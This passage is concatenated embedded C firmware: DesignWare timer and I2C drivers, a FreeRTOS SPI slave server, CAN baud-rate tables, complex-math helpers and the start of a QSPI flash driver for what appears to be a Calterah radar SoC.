int32_t (*load_count2_update)(dw_timer_t *timer, uint32_t id, uint32_t count);
int32_t (*current_count)(dw_timer_t *timer, uint32_t id, uint32_t *cur);
/* for each timer. */
int32_t (*int_mask)(dw_timer_t *timer, uint32_t id, uint32_t mask);
int32_t (*int_clear)(dw_timer_t *timer, uint32_t id);
int32_t (*int_status)(dw_timer_t *timer, uint32_t id);
/* for module. */
int32_t (*mod_int_clear)(dw_timer_t *timer);
int32_t (*mod_int_raw_status)(dw_timer_t *timer);
int32_t (*mod_int_status)(dw_timer_t *timer);
int32_t (*mode)(dw_timer_t *timer, uint32_t id, uint32_t mode);
int32_t (*pwm)(dw_timer_t *timer, uint32_t id, uint32_t pwm_en, uint32_t pwm_0n100_en);
uint32_t (*version)(dw_timer_t *timer);
} dw_timer_ops_t;
int32_t dw_timer_install_ops(dw_timer_t *timer);
#endif
<file_sep>#include "embARC_toolchain.h"
#include "FreeRTOS.h"
#include "task.h"
#include "embARC.h"
#include "embARC_debug.h"
#include "dw_gpio.h"
#include "gpio_hal.h"
#include "spi_hal.h"
#include "spis_server_internal.h"
#define SPIS_SERVER_SPI_ID (2)
#define SPIS_SERVER_FRAME_LEN_MAX (0x1000)
#define SPIS_SERVER_FRAME_MAGIC (0x1234)
#define SPIS_SERVER_TX_CONFIRM_QUEUE_LEN (1)
typedef enum {
SPIS_XFER_INVALID = 0,
SPIS_XFER_IDLE,
SPIS_RX_ONGOING,
SPIS_TX_ONGOING,
} spis_server_state_t;
typedef struct {
spis_server_state_t xfer_state;
DEV_BUFFER dev_txbuf;
uint32_t crc_state;
uint32_t frame_last_part;
uint32_t tx_total_size;
uint32_t tx_handled_size;
uint32_t *txdata;
QueueHandle_t tx_confirm_queue;
} spis_server_global_t;
static spis_server_global_t spis_server;
static spi_xfer_desc_t spis_xfer_desc = {
.clock_mode = SPI_CLK_MODE_0,
.dfs = 32,
.cfs = 0,
.spi_frf = SPI_FRF_STANDARD,
.rx_thres = 0,
.tx_thres = 0,
};
void spis_server_init(void)
{
int32_t result = E_OK;
do {
result = spi_open(SPIS_SERVER_SPI_ID, 500000);
if (E_OK != result) {
EMBARC_PRINTF("Error: spi slave controller init failed%d.\r\n", result);
break;
}
result = spi_transfer_config(SPIS_SERVER_SPI_ID, &spis_xfer_desc);
if (E_OK != result) {
EMBARC_PRINTF("Error: spi slave xfer config failed%d.\r\n", result);
break;
}
result = spis_server_sync_init();
if (E_OK != result) {
EMBARC_PRINTF("Error: spis s2m sync init failed%d.\r\n", result);
break;
}
DEV_BUFFER_INIT(&spis_server.dev_txbuf, NULL, 0);
spis_server.tx_confirm_queue = xQueueCreate(SPIS_SERVER_TX_CONFIRM_QUEUE_LEN, 4);
if (NULL == spis_server.tx_confirm_queue) {
EMBARC_PRINTF("Error: spis_server queue create failed.\r\n");
break;
}
spis_server.xfer_state = SPIS_XFER_IDLE;
spis_server_register();
} while (0);
}
static void spis_server_tx_callback(void *params);
int32_t spis_server_write(uint32_t *data, uint32_t len)
{
int32_t result = E_OK;
uint32_t header[2] = {SPIS_SERVER_FRAME_MAGIC, len};
DEV_BUFFER *dev_buf_ptr = &spis_server.dev_txbuf;
/* configure xfer. */
uint32_t cpu_sts = arc_lock_save();
spis_server.tx_total_size = len;
spis_server.tx_handled_size = 0;
spis_server.txdata = data;
spis_server.crc_state = 0;
spis_server.frame_last_part = 0;
dev_buf_ptr->ofs = 0;
dev_buf_ptr->buf = (void *)data;
if (len < SPIS_SERVER_FRAME_LEN_MAX >> 2) {
dev_buf_ptr->len = len;
} else {
dev_buf_ptr->len = SPIS_SERVER_FRAME_LEN_MAX >> 2;
}
spis_server.xfer_state = SPIS_TX_ONGOING;
arc_unlock_restore(cpu_sts);
do {
if (len >= (1 << 16)) {
result = E_PAR;
break;
}
/*
result = spi_databuffer_uninstall(SPIS_SERVER_SPI_ID, 0);
if (E_OK != result) {
break;
}
*/
/* install xfer callback. */
result = spi_interrupt_install(SPIS_SERVER_SPI_ID, 1, spis_server_tx_callback);
if (E_OK != result) {
break;
}
/* write header. */
result = spi_write(SPIS_SERVER_SPI_ID, header, 2);
if (E_OK != result) {
break;
}
/* install txbuf. */
result = spi_databuffer_install(SPIS_SERVER_SPI_ID, 1, dev_buf_ptr);
if (E_OK != result) {
break;
}
result = spis_server_s2m_sync();
if (E_OK != result) {
break;
}
//chip_hw_udelay(150);
result = spi_interrupt_enable(SPIS_SERVER_SPI_ID, 1, 1);
} while (0);
return result;
}
static void spis_server_package_done(void)
{
int32_t result = E_OK;
uint32_t tx_finished = 1;
BaseType_t higher_task_wkup = 0;
//result = spi_interrupt_enable(SPIS_SERVER_SPI_ID, 1, 0);
//result = spi_databuffer_uninstall(SPIS_SERVER_SPI_ID, 1);
/* confirm to upper layer. */
if (pdTRUE != xQueueSendFromISR(spis_server.tx_confirm_queue, \
&tx_finished, &higher_task_wkup)) {
/* TODO: record error! */
}
result = spi_interrupt_enable(SPIS_SERVER_SPI_ID, 1, 0);
if (E_OK != result) {
/* TODO: record error! */
}
spis_server.crc_state = 0;
DEV_BUFFER_INIT(&spis_server.dev_txbuf, NULL, 0);
spis_server.xfer_state = SPIS_XFER_IDLE;
}
static void spis_server_frame_done(void)
{
int32_t result = E_OK;
uint32_t crc_header[3];
uint32_t remain_size = 0, send_size = 0, send_cnt = 0;
DEV_BUFFER *dev_buf_ptr = &spis_server.dev_txbuf;
/* last part of a frame payload has been sent, now the HW FIFO is empty,
* filling the frame crc and the next frame's header. */
if (spis_server.frame_last_part) {
/* TODO: compute crc firstly. */
crc_header[send_cnt++] = 0;
/* next frame exists, structure its header. */
if (spis_server.tx_total_size > spis_server.tx_handled_size) {
crc_header[send_cnt++] = SPIS_SERVER_FRAME_MAGIC;
remain_size = spis_server.tx_total_size - spis_server.tx_handled_size;
if (remain_size < SPIS_SERVER_FRAME_LEN_MAX >> 2) {
send_size = remain_size;
} else {
send_size = SPIS_SERVER_FRAME_LEN_MAX >> 2;
}
crc_header[send_cnt++] = send_size;
}
/* filling crc&next header to hw FIFO... */
result = spi_write(SPIS_SERVER_SPI_ID, crc_header, send_cnt);
if (E_OK == result) {
spis_server.crc_state = 1;
} else {
/* TODO: record error! */
}
/* next frame exists, reinstall data buffer to low layer driver. */
if (spis_server.tx_total_size > spis_server.tx_handled_size) {
/* filling next frame. */
uint32_t data_base = (uint32_t)dev_buf_ptr->buf;
data_base = (uint32_t)spis_server.txdata + (spis_server.tx_handled_size << 2);
DEV_BUFFER_INIT(&spis_server.dev_txbuf, (void *)data_base, send_size);
result = spi_databuffer_install(SPIS_SERVER_SPI_ID, 1, &spis_server.dev_txbuf);
if (E_OK != result) {
/* TODO: record error! */
}
} else {
result = spi_databuffer_uninstall(SPIS_SERVER_SPI_ID, 1);
if (E_OK != result) {
/* TODO: record error! */
}
}
spis_server.frame_last_part = 0;
result = spis_server_s2m_sync();
if (E_OK != result) {
/* TODO: record error! */
}
/* last part of a frame payload has been filled into HW FIFO, now triggle s2m_sync signal. */
} else {
spis_server.tx_handled_size += dev_buf_ptr->len;
spis_server.frame_last_part = 1;
result = spis_server_s2m_sync();
if (E_OK != result) {
/* TODO: record error! */
}
}
}
static void spis_server_tx_callback(void *params)
{
int32_t result = E_OK;
DEV_BUFFER *dev_buf_ptr = &spis_server.dev_txbuf;
uint32_t remain_size = spis_server.tx_total_size - spis_server.tx_handled_size;
/* crc has been sent, then check whether all package has been sent? */
if (spis_server.crc_state) {
/* all package has been sent. the whole process done. */
if (0 == remain_size) {
spis_server_package_done();
/* the first part of the next frame payload has been filled into HW FIFO.
* clear crc_state. */
} else {
spis_server.crc_state = 0;
result = spis_server_s2m_sync();
if (E_OK != result) {
/* TODO: record error! */
}
}
/* frame transmission is ongoing. */
} else {
/* all frame payload has been sent or filled into HW FIFO. */
if (dev_buf_ptr->ofs >= dev_buf_ptr->len) {
spis_server_frame_done();
/* one part of a frame payload has been filled into HW FIFO.
* triggle s2m_sync signal, inform master receiving. */
} else {
result = spis_server_s2m_sync();
if (E_OK != result) {
/* TODO: record error! */
}
}
}
#if 0
chip_hw_udelay(50);
result = spis_server_s2m_sync();
if (E_OK != result) {
/* TODO: record error! */
}
#endif
}
int32_t spis_server_transmit_done(void)
{
int32_t result = E_OK;
uint32_t msg = 0;
if (pdTRUE == xQueueReceive(spis_server.tx_confirm_queue, \
&msg, portMAX_DELAY)) {
result = (int32_t)msg;
} else {
result = E_SYS;
}
return result;
}
<file_sep>#ifndef _CAN_BAUD_DESC_H_
#define _CAN_BAUD_DESC_H_
#define CAN_BAUD_DESC_10MHZ_100KBPS {.sync_jump_width = 0, .bit_rate_prescale = 3, .segment1 = 11, .segment2 = 11}
#define CAN_BAUD_DESC_10MHZ_200KBPS {.sync_jump_width = 0, .bit_rate_prescale = 1, .segment1 = 11, .segment2 = 11}
#define CAN_BAUD_DESC_10MHZ_250KBPS {.sync_jump_width = 0, .bit_rate_prescale = 3, .segment1 = 4, .segment2 = 3}
#define CAN_BAUD_DESC_10MHZ_500KBPS {.sync_jump_width = 0, .bit_rate_prescale = 1, .segment1 = 4, .segment2 = 3}
#define CAN_BAUD_DESC_10MHZ_1MBPS {.sync_jump_width = 0, .bit_rate_prescale = 0, .segment1 = 4, .segment2 = 3}
#define CAN_BAUD_DESC_20MHZ_100KBPS {.sync_jump_width = 0, .bit_rate_prescale = 7, .segment1 = 11, .segment2 = 11}
#define CAN_BAUD_DESC_20MHZ_200KBPS {.sync_jump_width = 0, .bit_rate_prescale = 3, .segment1 = 11, .segment2 = 11}
#define CAN_BAUD_DESC_20MHZ_250KBPS {.sync_jump_width = 0, .bit_rate_prescale = 7, .segment1 = 4, .segment2 = 3}
#define CAN_BAUD_DESC_20MHZ_500KBPS {.sync_jump_width = 0, .bit_rate_prescale = 3, .segment1 = 4, .segment2 = 3}
#define CAN_BAUD_DESC_20MHZ_1MBPS {.sync_jump_width = 0, .bit_rate_prescale = 1, .segment1 = 4, .segment2 = 3}
#define CAN_BAUD_DESC_20MHZ_2MBPS {.sync_jump_width = 0, .bit_rate_prescale = 0, .segment1 = 4, .segment2 = 3}
#define CAN_BAUD_DESC_40MHZ_100KBPS {.sync_jump_width = 0, .bit_rate_prescale = 15, .segment1 = 11, .segment2 = 11}
#define CAN_BAUD_DESC_40MHZ_200KBPS {.sync_jump_width = 0, .bit_rate_prescale = 7, .segment1 = 11, .segment2 = 11}
#define CAN_BAUD_DESC_40MHZ_250KBPS {.sync_jump_width = 0, .bit_rate_prescale = 15, .segment1 = 4, .segment2 = 3}
#define CAN_BAUD_DESC_40MHZ_500KBPS {.sync_jump_width = 0, .bit_rate_prescale = 7, .segment1 = 5, .segment2 = 2}
#define CAN_BAUD_DESC_40MHZ_1MBPS {.sync_jump_width = 0, .bit_rate_prescale = 3, .segment1 = 5, .segment2 = 2}
#define CAN_BAUD_DESC_40MHZ_2MBPS {.sync_jump_width = 0, .bit_rate_prescale = 1, .segment1 = 6, .segment2 = 1}
#define CAN_BAUD_DESC_40MHZ_4MBPS {.sync_jump_width = 0, .bit_rate_prescale = 0, .segment1 = 6, .segment2 = 1}
#define CAN_BAUD_DESC_50MHZ_100KBPS {.sync_jump_width = 0, .bit_rate_prescale = 19, .segment1 = 11, .segment2 = 11}
#define CAN_BAUD_DESC_50MHZ_200KBPS {.sync_jump_width = 0, .bit_rate_prescale = 9, .segment1 = 11, .segment2 = 11}
#define CAN_BAUD_DESC_50MHZ_250KBPS {.sync_jump_width = 0, .bit_rate_prescale = 7, .segment1 = 11, .segment2 = 11}
#define CAN_BAUD_DESC_50MHZ_500KBPS {.sync_jump_width = 0, .bit_rate_prescale = 3, .segment1 = 11, .segment2 = 11}
#define CAN_BAUD_DESC_50MHZ_1MBPS {.sync_jump_width = 0, .bit_rate_prescale = 1, .segment1 = 11, .segment2 = 11}
#define CAN_BAUD_DESC_50MHZ_2MBPS {.sync_jump_width = 0, .bit_rate_prescale = 0, .segment1 = 11, .segment2 = 11}
#define CAN_BAUD_DESC_50MHZ_4MBPS {.sync_jump_width = 0, .bit_rate_prescale = 0, .segment1 = 5, .segment2 = 4}
// 80% sampling point
#define CAN_BAUD_DESC_100MHZ_100KBPS {.sync_jump_width = 0, .bit_rate_prescale = 39, .segment1 = 18, .segment2 = 4}
#define CAN_BAUD_DESC_100MHZ_200KBPS {.sync_jump_width = 0, .bit_rate_prescale = 19, .segment1 = 18, .segment2 = 4}
#define CAN_BAUD_DESC_100MHZ_250KBPS {.sync_jump_width = 0, .bit_rate_prescale = 15, .segment1 = 18, .segment2 = 4}
#define CAN_BAUD_DESC_100MHZ_500KBPS {.sync_jump_width = 0, .bit_rate_prescale = 7, .segment1 = 18, .segment2 = 4}
#define CAN_BAUD_DESC_100MHZ_1MBPS {.sync_jump_width = 0, .bit_rate_prescale = 3, .segment1 = 18, .segment2 = 4}
#define CAN_BAUD_DESC_100MHZ_2MBPS {.sync_jump_width = 0, .bit_rate_prescale = 1, .segment1 = 18, .segment2 = 4}
#define CAN_BAUD_DESC_100MHZ_4MBPS {.sync_jump_width = 0, .bit_rate_prescale = 0, .segment1 = 18, .segment2 = 4}
#define CAN_BAUD_DESC_100MHZ_5MBPS {.sync_jump_width = 0, .bit_rate_prescale = 0, .segment1 = 14, .segment2 = 3}
#endif
<file_sep>#ifndef CALTERAH_COMPLEX_H
#define CALTERAH_COMPLEX_H
#include "math.h"
typedef struct complex {
float r;
float i;
} complex_t;
static inline void cadd(complex_t *in1, complex_t *in2, complex_t *dout)
{
dout->r = in1->r + in2->r;
dout->i = in1->i + in2->i;
}
static inline void csub(complex_t *in1, complex_t *in2, complex_t *dout)
{
dout->r = in1->r - in2->r;
dout->i = in1->i - in2->i;
}
static inline void cmult(complex_t *in1, complex_t *in2, complex_t *dout)
{
dout->r = in1->r * in2->r - in1->i * in2->i;
dout->i = in1->r * in2->i + in1->i * in2->r;
}
static inline void cmult_conj(complex_t *in1, complex_t *in2, complex_t *dout)
{
dout->r = in1->r * in2->r + in1->i * in2->i;
dout->i = in1->r * (-in2->i) + in1->i * in2->r; //in1*conj(in2)
}
static inline void crmult(complex_t *in1, float in2, complex_t *dout)
{
dout->r = in1->r * in2;
dout->i = in1->i * in2;
}
static inline float mag_sqr(complex_t *in)
{
return in->r * in->r + in->i * in->i;
}
void cmult_cum(complex_t *in1, complex_t *in2, complex_t *dout);
void cmult_conj_cum(complex_t *in1, complex_t *in2, complex_t *dout);
static inline complex_t expj(float theta)
{
complex_t ret;
ret.r = cosf(theta);
ret.i = sinf(theta);
return ret;
}
#endif
<file_sep>#ifndef ALPS_B_MODULE_LIST_H_
#define ALPS_B_MODULE_LIST_H_
typedef enum alps_module_id {
XIP = 0,
BASEBAND,
UART0,
UART1,
I2C,
SPI_M0,
SPI_M1,
SPI_S,
QSPI,
GPIO,
CAN0,
CAN1,
DMA,
CRC,
TIMER,
DMU,
PWM
} module_id_t;
#endif
<file_sep>#ifndef CALTERAH_ERROR_H
#define CALTERAH_ERROR_H
#ifdef UNIT_TEST
#include "calterah_unit_test.h"
#else
#include "embARC_assert.h"
#endif
#define E_REFPLL_UNLOCK (-128)
#define E_PLL_UNLOCK (-129)
#define E_CLOCK_SWITCH_FAIL (-130)
#define CALTERAH_CHECK(st) do{if (st != E_OK) EMBARC_HALT("error(%d)\n\r", st);}while(0)
#endif
<file_sep>#include "embARC_toolchain.h"
#include "embARC_error.h"
#include "embARC.h"
#include "embARC_debug.h"
#include "dev_common.h"
#include "arc_exception.h"
#include "dw_i2c.h"
#include "dw_i2c_reg.h"
#include "i2c_hal.h"
static int32_t dw_i2c_control(dw_i2c_t *dev_i2c, dw_i2c_control_t *ctrl)
{
int32_t result = E_OK;
uint32_t value = 0;
if ((NULL == dev_i2c) || (NULL == ctrl)) {
result = E_PAR;
} else {
if (ctrl->tx_empty_inten) {
value |= BIT_I2C_CON_TX_EMPTY_CTRL;
}
if (ctrl->mode) {
value |= BIT_I2C_CON_M_MODE;
}
if (ctrl->restart_en) {
value |= BIT_I2C_CON_RESTART_EN;
}
value |= (ctrl->speed & BITS_I2C_CON_SPEED_MASK) << BITS_I2C_CON_SPEED_OFFSET;
if (ctrl->addr_mode) {
value |= BIT_I2C_CON_M_10BIT_ADDR;
}
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_CON_OFFSET, value);
}
return result;
}
static int32_t dw_i2c_target_address(dw_i2c_t *dev_i2c, dw_i2c_address_mode_t addr_mode, uint32_t addr)
{
int32_t result = E_OK;
if (NULL == dev_i2c) {
result = E_PAR;
} else {
uint32_t value = addr & 0x3FF;
if (addr_mode) {
value |= (1 << 12);
}
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_TAR_OFFSET, value);
}
return result;
}
static int32_t dw_i2c_hs_master_code(dw_i2c_t *dev_i2c, uint32_t code)
{
int32_t result = E_OK;
if (NULL == dev_i2c) {
result = E_PAR;
} else {
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_HS_MADDR_OFFSET, code);
}
return result;
}
static int32_t dw_i2c_fifo_data_count(dw_i2c_t *dev_i2c, uint32_t *rxfifo_cnt, uint32_t *txfifo_cnt)
{
int32_t result = E_OK;
if ((NULL == dev_i2c) || ((NULL == rxfifo_cnt) && (NULL == txfifo_cnt))) {
result = E_PAR;
}
else {
if (rxfifo_cnt) {
*rxfifo_cnt = raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_RXFLR_OFFSET) & 0x3F;
}
if (txfifo_cnt) {
*txfifo_cnt = raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_TXFLR_OFFSET) & 0x3F;
}
}
return result;
}
static int32_t dw_i2c_fifo_level(dw_i2c_t *dev_i2c, uint32_t *rx_thres, uint32_t *tx_thres)
{
int32_t result = E_OK;
int32_t val = 0;
if ((NULL == dev_i2c) || ((NULL == rx_thres) && (NULL == tx_thres))) {
result = E_PAR;
}
else {
if (rx_thres) {
val = raw_readl(dev_i2c->base + REG_DW_I2C_RXFLR_OFFSET);
*rx_thres = (val & 0x3F);
}
if (tx_thres) {
val = raw_readl(dev_i2c->base + REG_DW_I2C_TXFLR_OFFSET);
*tx_thres = (val & 0x3F);
}
}
return result;
}
static int32_t dw_i2c_write_command(dw_i2c_t *dev_i2c, uint32_t cmd)
{
int32_t result = E_OK;
if ((NULL == dev_i2c)) {
result = E_PAR;
} else {
/* TODO: wait fifo not full. */
raw_writel(dev_i2c->base + REG_DW_I2C_DATA_CMD_OFFSET, cmd);
}
return result;
}
static int32_t dw_i2c_getdata(dw_i2c_t *dev_i2c, uint32_t *cmd)
{
int32_t result = E_OK;
uint32_t rx_fifo_level = 0;
uint32_t *count = &rx_fifo_level;
if ((NULL == dev_i2c)) {
result = E_PAR;
}
else {
while (1) {
dw_i2c_fifo_level(dev_i2c, count, NULL);
if (*count > 0) {
break;
}
}
result = raw_readl(dev_i2c->base + REG_DW_I2C_DATA_CMD_OFFSET) & 0xFF;
}
return result;
}
static int32_t dw_i2c_scl_count(dw_i2c_t *dev_i2c, dw_i2c_speed_mode_t speed, uint32_t high, uint32_t low)
{
int32_t result = E_OK;
if (NULL == dev_i2c) {
result = E_PAR;
} else {
uint32_t h_offset = 0, l_offset = 0;
switch (speed) {
case I2C_SPPED_STANDARD_MODE:
h_offset = REG_DW_I2C_SS_SCL_HCNT_OFFSET;
l_offset = REG_DW_I2C_SS_SCL_LCNT_OFFSET;
break;
case I2C_SPEED_FAST_MODE:
h_offset = REG_DW_I2C_FS_SCL_HCNT_OFFSET;
l_offset = REG_DW_I2C_FS_SCL_LCNT_OFFSET;
break;
case I2C_SPEED_HIGH_MODE:
h_offset = REG_DW_I2C_HS_SCL_HCNT_OFFSET;
l_offset = REG_DW_I2C_HS_SCL_LCNT_OFFSET;
break;
default:
result = E_PAR;
}
if (E_OK == result) {
raw_writel(dev_i2c->base + h_offset, high);
raw_writel(dev_i2c->base + l_offset, low);
}
}
return result;
}
static int32_t dw_i2c_interrupt_status(dw_i2c_t *dev_i2c, uint32_t *status)
{
int32_t result = E_OK;
if ((NULL == dev_i2c) || (NULL == status)) {
result = E_PAR;
} else {
*status = raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_INTR_STAT_OFFSET);
}
return result;
}
static int32_t dw_i2c_interrupt_mask(dw_i2c_t *dev_i2c, uint32_t bitmap, uint32_t flag)
{
int32_t result = E_OK;
if (NULL == dev_i2c) {
result = E_PAR;
} else {
uint32_t val = raw_readl(dev_i2c->base + REG_DW_I2C_INTR_MASK_OFFSET);
if (flag) {
val |= bitmap;
} else {
val &= ~bitmap;
}
raw_writel(REL_REGBASE_I2C0 + REG_DW_I2C_INTR_MASK_OFFSET, val);
}
return result;
}
static int32_t dw_i2c_interrupt_clear(dw_i2c_t *dev_i2c, dw_i2c_int_type_t *type)
{
int32_t result = E_OK;
if (NULL == dev_i2c) {
result = E_PAR;
} else {
if (type) {
uint32_t offset = 0;
switch (*type) {
case DW_I2C_RX_UNDER:
offset = REG_DW_I2C_CLR_RX_UNDER_OFFSET;
break;
case DW_I2C_RX_OVER:
offset = REG_DW_I2C_CLR_RX_OVER_OFFSET;
break;
case DW_I2C_TX_OVER:
offset = REG_DW_I2C_CLR_TX_OVER_OFFSET;
break;
case DW_I2C_TX_EMPTY:
break;
case DW_I2C_TX_ABRT:
offset = REG_DW_I2C_CLR_TX_ABORT_OFFSET;
break;
case DW_I2C_ACTIVITY:
offset = REG_DW_I2C_CLR_ACTIVITY_OFFSET;
break;
case DW_I2C_STOP_DET:
offset = REG_DW_I2C_CLR_STOP_DET_OFFSET;
break;
case DW_I2C_START_DET:
offset = REG_DW_I2C_CLR_START_DET_OFFSET;
break;
case DW_I2C_GEN_CALL:
offset = REG_DW_I2C_CLR_GEN_CALL_OFFSET;
break;
default:
raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_CLR_INTR_OFFSET);
result = E_PAR;
break;
}
if (E_OK == result) {
raw_readl(dev_i2c->base + offset);
}
} else {
raw_readl(REL_REGBASE_I2C0 + REG_DW_I2C_CLR_INTR_OFFSET);
}
}
return result;
}
static int32_t dw_i2c_fifo_threshold(dw_i2c_t *dev_i2c, uint32_t *rx_thres, uint32_t *tx_thres)
{
int32_t result = E_OK;
if ((NULL == dev_i2c) || ((NULL == rx_thres) && (NULL == tx_thres))) {
result = E_PAR;
} else {
if (rx_thres) {
raw_writel(dev_i2c->base + REG_DW_I2C_RX_TL_OFFSET, *rx_thres);
}
if (tx_thres) {
raw_writel(dev_i2c->base + REG_DW_I2C_TX_TL_OFFSET, *tx_thres);
}
}
return result;
}
static int32_t dw_i2c_enable(dw_i2c_t *dev_i2c, uint32_t tx_block, uint32_t abort, uint32_t enable)
{
int32_t result = E_OK;
if (NULL == dev_i2c) {
result = E_PAR;
} else {
uint32_t value = 0;
if (tx_block) {
value |= (1 << 2);
}
if (abort) {
value |= (1 << 1);
}
if (enable) {
value |= (1 << 0);
}
raw_writel(dev_i2c->base + REG_DW_I2C_ENABLE_OFFSET, value);
}
return result;
}
static int32_t dw_i2c_status(dw_i2c_t *dev_i2c, uint32_t *status)
{
int32_t result = E_OK;
if ((NULL == dev_i2c) || (NULL == status)) {
result = E_PAR;
} else {
*status = raw_readl(dev_i2c->base + REG_DW_I2C_STATUS_OFFSET);
}
return result;
}
static int32_t dw_i2c_sda_hold_time(dw_i2c_t *dev_i2c, uint32_t rx_cycles, uint32_t tx_cycles)
{
int32_t result = E_OK;
if (NULL == dev_i2c) {
result = E_PAR;
} else {
uint32_t value = tx_cycles & 0xFFFF;
value |= (rx_cycles & 0xFF) << 16;
raw_writel(dev_i2c->base + REG_DW_I2C_SDA_HOLD_OFFSET, value);
}
return result;
}
static int32_t dw_i2c_spike_suppression_limit(dw_i2c_t *dev_i2c, dw_i2c_speed_mode_t speed, uint32_t limit)
{
int32_t result = E_OK;
if (NULL == dev_i2c) {
result = E_PAR;
} else {
uint32_t offset = 0;
switch (speed) {
case I2C_SPPED_STANDARD_MODE:
case I2C_SPEED_FAST_MODE:
offset = REG_DW_I2C_FS_SPKLEN_OFFSET;
break;
case I2C_SPEED_HIGH_MODE:
offset = REG_DW_I2C_HS_SPKLEN_OFFSET;
break;
default:
result = E_PAR;
break;
}
if (E_OK == result) {
raw_writel(dev_i2c->base + offset, limit);
}
}
return result;
}
static dw_i2c_ops_t i2c_ops = {
.control = dw_i2c_control,
.target_address = dw_i2c_target_address,
.master_code = dw_i2c_hs_master_code,
.write = dw_i2c_write_command,
.read = dw_i2c_getdata,
.scl_count = dw_i2c_scl_count,
.int_status = dw_i2c_interrupt_status,
.int_mask = dw_i2c_interrupt_mask,
.int_clear = dw_i2c_interrupt_clear,
.fifo_threshold = dw_i2c_fifo_threshold,
.enable = dw_i2c_enable,
.status = dw_i2c_status,
.fifo_data_count = dw_i2c_fifo_data_count,
.sda_hold_time = dw_i2c_sda_hold_time,
.spike_suppression_limit = dw_i2c_spike_suppression_limit
};
int32_t dw_i2c_install_ops(dw_i2c_t *dev_i2c)
{
int32_t result = E_OK;
if (NULL == dev_i2c) {
result = E_PAR;
} else {
dev_i2c->ops = (void *)&i2c_ops;
}
return result;
}
<file_sep>
CALTERAH_INC_DIR += $(CALTERAH_ROOT)/include
CALTERAH_INC_DIR += $(dir $(wildcard $(CALTERAH_ROOT)/common/*/))
CALTERAH_CSRC_DIR += $(dir $(wildcard $(CALTERAH_ROOT)/common/*/))
CALTERAH_CXXSRC_DIR += $(dir $(wildcard $(CALTERAH_ROOT)/common/*/))
ifneq ($(OS_SEL),)
include $(CALTERAH_ROOT)/common/common.mk
include $(CALTERAH_ROOT)/freertos/common/common.mk
endif
<file_sep>#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include "embARC_toolchain.h"
#include "embARC.h"
#include "embARC_error.h"
#include "embARC_debug.h"
#include "arc_exception.h"
#include "board.h"
#include "dw_ssi.h"
#include "xip.h"
#include "xip_hal.h"
#include "device.h"
#include "instruction.h"
#include "cfi.h"
#include "sfdp.h"
#include "flash.h"
#include "flash_header.h"
#include "config.h"
#ifdef OS_FREERTOS
#include "FreeRTOS.h"
#include "task.h"
#include "FreeRTOS_CLI.h"
#endif
#ifdef OS_FREERTOS
#define FLASH_DEVICE_LOCK(lock) while (xSemaphoreTake(lock, portMAX_DELAY) != pdTRUE) {}
#define FLASH_DEVICE_UNLOCK(lock) xSemaphoreGive(lock)
#else
#define FLASH_DEVICE_LOCK(lock)
#define FLASH_DEVICE_UNLOCK(lock)
#endif
static uint32_t cur_frame_format = 0;
static flash_device_t *ext_dev_desc = NULL;
static int32_t flash_open_flag = 0;
#ifdef OS_FREERTOS
static xSemaphoreHandle flash_lock;
#endif
static int32_t _flash_memory_write(uint32_t addr, \
const void *data, uint32_t len, uint32_t flag);
static int32_t _flash_memory_read(uint32_t addr, \
void *data, uint32_t len, uint32_t flag);
static uint32_t flash_memory_read_instruct(void);
static int32_t flash_device_mode(dw_ssi_t *dw_ssi, uint32_t mode);
/* description: initialize QSPI and external flash device. */
int32_t flash_init(void)
{
int32_t result = E_OK;
#if FLASH_XIP_EN
do {
dw_ssi_t *dw_ssi = dw_ssi_get_dev(DW_QSPI_ID);
ext_dev_desc = get_flash_device(dw_ssi);
if (NULL == ext_dev_desc) {
result = E_NORES;
break;
}
result = flash_xip_init();
if (E_OK != result) {
break;
}
flash_open_flag = 1;
} while(0);
#else
dw_ssi_ops_t *ssi_ops = NULL;
dw_ssi_t *dw_ssi = dw_ssi_get_dev(DW_QSPI_ID);
dw_ssi_ctrl_t ctrl = DW_SSI_CTRL_STATIC_DEFAULT;
dw_ssi_spi_ctrl_t spi_ctrl = DW_SSI_SPI_CTRL_STATIC_DEFAULT;
do {
if ((NULL == dw_ssi) || (NULL == dw_ssi->ops)) {
result = E_NORES;
break;
}
ssi_ops = (dw_ssi_ops_t *)dw_ssi->ops;
/* enable QSPI Pclk. */
qspi_reset(1);
chip_hw_udelay(50);
qspi_reset(0);
qspi_enable(1);
result = ssi_ops->control(dw_ssi, &ctrl);
if (E_OK != result) {
break;
}
result = ssi_ops->spi_control(dw_ssi, &spi_ctrl);
if (E_OK != result) {
break;
}
result = ssi_ops->baud(dw_ssi, CONFIG_QSPI_BAUD);
if (E_OK != result) {
break;
}
result = ssi_ops->enable(dw_ssi, 1);
if (E_OK != result) {
break;
}
chip_hw_mdelay(10);
result = flash_reset();
if (E_OK != result) {
break;
}
ext_dev_desc = get_flash_device(dw_ssi);
if (NULL == ext_dev_desc) {
result = E_NORES;
break;
}
result = flash_device_mode(dw_ssi, CONFIG_QSPI_FF);
cur_frame_format = CONFIG_QSPI_FF;
#ifdef OS_FREERTOS
flash_lock = xSemaphoreCreateBinary();
xSemaphoreGive(flash_lock);
#endif
flash_open_flag = 1;
} while (0);
#endif /* !FLASH_XIP_EN! */
return result;
}
int32_t flash_reset(void)
{
int32_t result = E_OK;
uint32_t cpu_sts = 0;
dw_ssi_xfer_t xfer;
dw_ssi_ops_t *ssi_ops = NULL;
dw_ssi_t *dw_ssi = dw_ssi_get_dev(DW_QSPI_ID);
if ((NULL == dw_ssi) || (NULL == dw_ssi->ops)) {
result = E_PAR;
} else {
ssi_ops = (dw_ssi_ops_t *)dw_ssi->ops;
xfer.ins = CMD_RST_ENABLE;
xfer.addr = 0;
xfer.buf = NULL;
xfer.len = 0;
//xfer.dummy_data = 0x0;
xfer.rd_wait_cycle = 0;
xfer.addr_valid = 0;
cpu_sts = arc_lock_save();
result = ssi_ops->write(dw_ssi, &xfer, 0);
arc_unlock_restore(cpu_sts);
chip_hw_mdelay(1);
if (E_OK == result) {
xfer.ins = CMD_RST;
cpu_sts = arc_lock_save();
result = ssi_ops->write(dw_ssi, &xfer, 0);
arc_unlock_restore(cpu_sts);
